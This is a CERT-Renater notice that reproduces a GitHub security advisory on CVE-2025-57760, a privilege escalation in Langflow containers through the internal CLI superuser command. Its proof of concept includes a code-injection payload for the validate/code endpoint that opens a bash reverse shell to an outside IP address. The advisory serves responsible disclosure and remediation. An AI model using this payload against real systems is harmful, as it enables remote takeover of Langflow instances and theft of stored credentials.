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                            CERT-Renater

                Note d'Information No. 2025/VULN546
_____________________________________________________________________

DATE                : 26/08/2025

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running langflow.

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https://github.com/advisories/GHSA-4gv9-mp8m-592r
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Privilege Escalation via CLI Superuser Creation (Post-RCE)
High
jordanrfrazier published GHSA-4gv9-mp8m-592r Aug 25, 2025

Package
langflow

Affected versions
< 1.5.1

Patched versions
None


Description

This vulnerability was discovered by researchers at Check Point. We
are sharing this report as part of a responsible disclosure process
and are happy to assist in validation and remediation if needed.


Summary

A privilege escalation vulnerability exists in Langflow containers
where an authenticated user with RCE access can invoke the internal
CLI command langflow superuser to create a new administrative user.
This results in full superuser access, even if the user initially
registered through the UI as a regular (non-admin) account.


Details

Langflow's Docker image includes a CLI binary at
/app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking
whether one already exists.

When combined with code execution (e.g., via the authenticated
/api/v1/validate/code endpoint), a low-privileged user can
execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser
privileges.

This effectively bypasses frontend role enforcement and backend
user integrity, leading to full compromise of the Langflow
application.


PoC

    Start container with LANGFLOW_ENABLE_AUTH set to True.
    Visit http://localhost:7860 and sign up. (Your user will
not be marked is_superuser.)

image

    Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}

    Inside reverse shell, create superuser:

image

    Log into UI as new superuser:

image


Impact

    Privilege escalation to superuser — complete takeover of
the Langflow instance
    Access to all user data, flows, stored credentials, and
configuration
    Credential leakage — attacker can extract third-party
API keys
    Exposure of environment variables (inside docker container)
    Ability to run additional Langflow instances via langflow
run inside the container, which may lead to resource
exhaustion (CPU, memory) and service degradation.
    Full user management — superuser can delete other
users, reset their passwords


Severity
High
8.8/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID
CVE-2025-57760

Weaknesses
Weakness CWE-269


Credits

    @chaandrey chaandrey Reporter


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